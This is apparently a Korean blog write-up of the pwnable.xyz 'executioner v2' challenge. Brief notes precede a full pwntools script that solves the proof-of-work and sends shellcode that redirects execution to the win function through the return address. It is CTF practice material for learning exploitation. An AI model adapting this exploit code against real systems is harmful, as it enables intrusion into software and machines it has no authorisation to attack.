본문 바로가기

pwn/pwnable.xyz

pwnable.xyz / executioner v2

mitigation

 

main

ret주소 뽑아서 win으로 만들어준 뒤 jmp하면 된다

 

solve_pow()

solve_pow도 동일한데 0을 사용할 수 없다 

적당히 계산해서 4byte가 0이 되도록 곱해주면 된다

 

from pwn import *



def gen_num(data):
    byte = data % 0x10
    if byte == 0:
        return 0x10000000
    top_byte = int((data >> 0x18) / 0x10)
     
    if top_byte >= byte and 16 % byte == 0 and byte != 1:
        return int(16 / byte) * 0x10000000

    else:
        return 0

while True:
    p = remote("svc.pwnable.xyz", 30028)
    #p = process("./executioner_v2")
    
    p.recvuntil("0x")
    num = int(p.recv(8), 16)
    
    x = gen_num(num)
    if x == 0:
        p.close()
    else:
        break

print(hex(x))
print(hex(num - x))
p.sendline(str(int(num - x)))
p.sendline(str(x))

		
shell = b"\x00\xff\x59\x48\x81\xe9\xca\x02\x00\x00\xff\xe1"

p.recvuntil(b"Input: ")
p.send(shell)

p.interactive()​

'pwn > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / Hero Factory  (0) 2022.05.24
pwnable.xyz / note v2  (0) 2022.05.24
pwnable.xyz / badayum  (0) 2022.05.23
pwnable.xyz / password  (0) 2022.05.23
pwnable.xyz / executioner  (0) 2022.05.22